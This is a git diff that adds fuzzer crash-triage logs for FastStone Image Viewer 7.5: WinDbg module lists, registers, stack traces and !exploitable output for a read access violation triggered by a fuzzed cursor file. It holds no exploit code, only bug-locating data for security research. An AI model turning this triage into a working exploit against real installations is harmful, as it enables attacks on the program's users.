0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f18130 07e95930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00350000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00350000 01481016 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62c1 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00350000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/16574/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/16574/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..f0e585e Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/16574/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/1849/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/1849/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..24ca36b --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/1849/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Reading From 0x00000000001a4002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/1849/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/1849/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..320c2b7 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/1849/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/1849/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/1849/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..2889dea --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/1849/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,194 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1F14: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1F14: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`001d0000 00000000`001ed000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1f14.a68): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=00ffed2d ecx=07ea7b10 edx=00003879 esi=fce30010 edi=0fce4fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.732602802468701280000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 3.122863000000000000000e+0007 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-5.72153e-037 0.366256 6.90137e+035 6.0343e-015 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f88130 07f05930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 002a9000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 002a9000 623bdff8 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62bc 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 002a9000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/1849/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/1849/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..2889dea --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/1849/WindowsDebugEngine_description.txt @@ -0,0 +1,194 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1F14: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1F14: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`001d0000 00000000`001ed000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1f14.a68): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=00ffed2d ecx=07ea7b10 edx=00003879 esi=fce30010 edi=0fce4fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.732602802468701280000e+0017 +st4= 1.000000000000000000000e+0000 st5= 